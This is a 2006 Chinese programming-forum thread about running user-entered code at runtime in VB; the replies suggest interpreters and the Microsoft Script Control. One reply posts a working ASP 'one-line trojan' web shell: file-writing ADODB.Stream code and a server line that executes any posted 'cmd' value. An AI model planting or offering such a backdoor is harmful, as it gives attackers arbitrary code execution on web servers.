标题:[求助]如何动态地向一个程序添加代码?
只看楼主
ioriliao
Rank: 7Rank: 7Rank: 7
来 自:广东
等 级:贵宾
威 望:32
帖 子:2829
专家分:647
注 册:2006-11-30
结帖率:78.95%
 问题点数:0 回复次数:9 
[求助]如何动态地向一个程序添加代码?

Private Sub Command2_Click()
**************************
End Sub
程序运行了如何在*号中动态地添加代码?谢谢

搜索更多相关主题的帖子: 动态 代码 Sub 
2006-12-26 12:44
purana
Rank: 16Rank: 16Rank: 16Rank: 16
来 自:广东-广州
等 级:版主
威 望:66
帖 子:6039
专家分:0
注 册:2005-6-17
得分:0 

不可以.

只能够调用过程..Call


我的msn: myfend@
2006-12-26 12:54
ioriliao
Rank: 7Rank: 7Rank: 7
来 自:广东
等 级:贵宾
威 望:32
帖 子:2829
专家分:647
注 册:2006-11-30
得分:0 
真滴没有办法叻?

/images/2011/147787/2011051411021524.jpg" border="0" />
2006-12-26 13:07
purana
Rank: 16Rank: 16Rank: 16Rank: 16
来 自:广东-广州
等 级:版主
威 望:66
帖 子:6039
专家分:0
注 册:2005-6-17
得分:0 

举下例子...
如果你现在运行的是Form1.Frm这个文件...那你想动态添加到这个文件的Command1_Click事件代码...那是不可能的...因为它正在运行....不能再被打开...
如果你是运行着Form1.Frm这个文件..而你想动态向Form2.Frm这个文件添加Command1_Click事件代码的话..那还是可以做到的...


我的msn: myfend@
2006-12-26 13:10
ioriliao
Rank: 7Rank: 7Rank: 7
来 自:广东
等 级:贵宾
威 望:32
帖 子:2829
专家分:647
注 册:2006-11-30
得分:0 
我意思不是添加一个子程序...意思是有没有办法程序自己执行用户输入的代码...
例如在textBox中输入:for i=1 to 10
a=i
next
然后在另一个事件中或过程中加入这段代码!

/images/2011/147787/2011051411021524.jpg" border="0" />
2006-12-26 17:24
学习VB才2天
Rank: 5Rank: 5
等 级:贵宾
威 望:16
帖 子:1653
专家分:0
注 册:2006-5-4
得分:0 
如果偶沒纔錯的話,伱是想做一種新的語言...用自己的思維方式去編程...

比如說

我討厭使用IF

我希望判斷用JMP來跳轉````怎麼辦..我用的VB```

其實這並沒有什麼睏難```主要想到的是編譯``沒有編譯器和連接器...伱的代碼就是一個空想的概唸```

其實VB也可以作為一個語法解釋器``,可以徬昭LEX和YACC的功能``

如果伱學叻一葮時間的C語言...伱也可以自己做一個編譯器和連接器...別的東西都是方便開髮程序而已```


[GLOW=255,DeepPink,3]我的免费网盘[/GLOW]
2006-12-26 17:31
学习VB才2天
Rank: 5Rank: 5
等 级:贵宾
威 望:16
帖 子:1653
专家分:0
注 册:2006-5-4
得分:0 
去BAIDU上擻索一下   "LEX和YACC".....伱就會明白叻```

[GLOW=255,DeepPink,3]我的免费网盘[/GLOW]
2006-12-26 17:32
redice
Rank: 3Rank: 3
等 级:新手上路
威 望:6
帖 子:902
专家分:0
注 册:2006-12-11
得分:0 
在VB中这好象不能实现,但在java中好象有一个eval()( 或者execute())函数,可以执行括号里面的一段代码。

你应该听说过“一句话木马”吧?它用的就是这个函数(不好意思,我学ASP没多久)。给你它的代码,自己研究一下,还是比较简单的:
客户端代码:
set lP=server.createObject("Adodb.Stream")
lP.Open
lP.Type=2
lP.CharSet="gb2312"
lP.writetext request.form("main")
lP.SaveToFile server.mappath("help.asp"),2
lP.Close
set lP=nothing
response.redirect "help.asp"
上面是主要的代码(使用VBscript),如果你学过HTML,还是比较好理解的。


在服务端插入代码<%execute request.form("cmd")%>


鲲鹏数据 - 专业Web数据采集服务提供者
http://www.
2006-12-26 23:03
ioriliao
Rank: 7Rank: 7Rank: 7
来 自:广东
等 级:贵宾
威 望:32
帖 子:2829
专家分:647
注 册:2006-11-30
得分:0 
原来是这样滴...谢谢大家!

/images/2011/147787/2011051411021524.jpg" border="0" />
2006-12-28 10:00
小李寻欢
Rank: 1
等 级:新手上路
帖 子:7
专家分:0
注 册:2006-12-27
得分:0 
当然可以的。微软提供了脚本引擎(Microsoft Script Control,版本号为1.0),你可以在工程里将其引用(通常安装在Windows的System32下,名为msscript.ocx)或直接作为控件来使用。其除支持VBScript外还对JavaScript提供支持(没什么奇怪的,这两个脚本语言本来就出自Microsoft的)。好了,具体的使用也不怎么复杂,我在此就不赘述(你自己到VB安装光盘的...\COMMON\TOOLS\VB\SCRIPT文件夹看吧)。
2006-12-28 12:39



参与讨论请移步原网站贴子:https://bbs.bccn.net/thread-112187-1-1.html




关于我们 | 广告合作 | 编程中国 | 清除Cookies | TOP | 手机版

编程中国 版权所有,并保留所有权利。
Powered by Discuz, Processed in 0.023413 second(s), 8 queries.
Copyright©2004-2024, BCCN.NET, All Rights Reserved